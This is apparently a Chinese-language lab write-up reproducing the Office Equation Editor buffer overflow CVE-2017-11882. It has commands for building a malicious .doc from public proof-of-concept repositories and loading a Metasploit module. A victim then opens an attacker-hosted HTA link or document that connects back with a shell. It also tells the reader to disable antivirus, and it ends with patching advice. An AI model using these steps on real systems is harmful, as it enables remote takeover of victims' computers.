[漏洞复现]office CVE-2017-11882

1、漏洞概述

此漏洞是由Office软件里面的 [公式编辑器] 造成的，由于编辑器进程没有对名称长度进行校验，导致缓冲区溢出，攻击者通过构造特殊的字符，可以实现任意代码执行。
举个例子，如果黑客利用这个漏洞，构造带有shell后门的office文件，当普通用户打开这个office文件，则电脑可以被黑客直接控制。
影响版本：
office 2003
office 2007
office 2010
office 2013
office 2016

2、漏洞复现环境

• 渗透机：Kali Linux 2019.03 192.168.43.177
• POC代码 https://github.com/0x09AL/CVE-2017-11882-metasploit
• 靶机：Win10 192.168.43.253
• 靶机：Win7 sp1 192.168.43.196
• Office 2013 专业版

3、实验步骤

3.1 验证漏洞

 git clone https://github.com/Ridter/CVE-2017-11882
 cd CVE-2017-11882
 python Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

image.png

将生成的test.doc拷贝到windows下，使用word2013打开，会弹出计算器，说明存在这个漏洞。注意需要关闭360,不然这个文件会被查杀。

漏洞验证成功

3.2 getshell

root@kali:~/Desktop/CVE-2017-11882/git clone https://github.com/0x09AL/CVE-2017-11882-metasploit.git
root@kali:~/Desktop/CVE-2017-11882/cd CVE-2017-11882-metasploit
root@kali:~/Desktop/CVE-2017-11882/CVE-2017-11882-metasploit# cp cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/local/
root@kali:~/Desktop/CVE-2017-11882/CVE-2017-11882-metasploit# cp cve-2017-11882.rtf /usr/share/metasploit-framework/data/exploits/
msf5 > reload_all

image.png image.png
在受害者机器上用浏览器打开http://192.168.43.177:8080/11882，会下载一个hta文件，点击执行，就会回连
或者将/root/.msf4/local/11882.doc发送给目标，使用word2013打开后就会回连。
image.png
拿到shell
getshell

4 漏洞修复

①在线更新；开启Windows Update更新，这种方式对于大部分人来说就够了。
②打补丁；此漏洞对应的微软补丁地址：https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

参考资料

https://mp.weixin.qq.com/s?__biz=MzI5ODU1MjIwMg==&mid=2247484096&idx=1&sn=5ecc6a110e847dbc44cfa4a0d61fac8c&chksm=eca55c25dbd2d533206a60538de5135ffb55a380c2664dd7cc0a060afbf7c5a962e86c02309c&scene=21#wechat_redirect
https://github.com/0x09AL/CVE-2017-11882-metasploit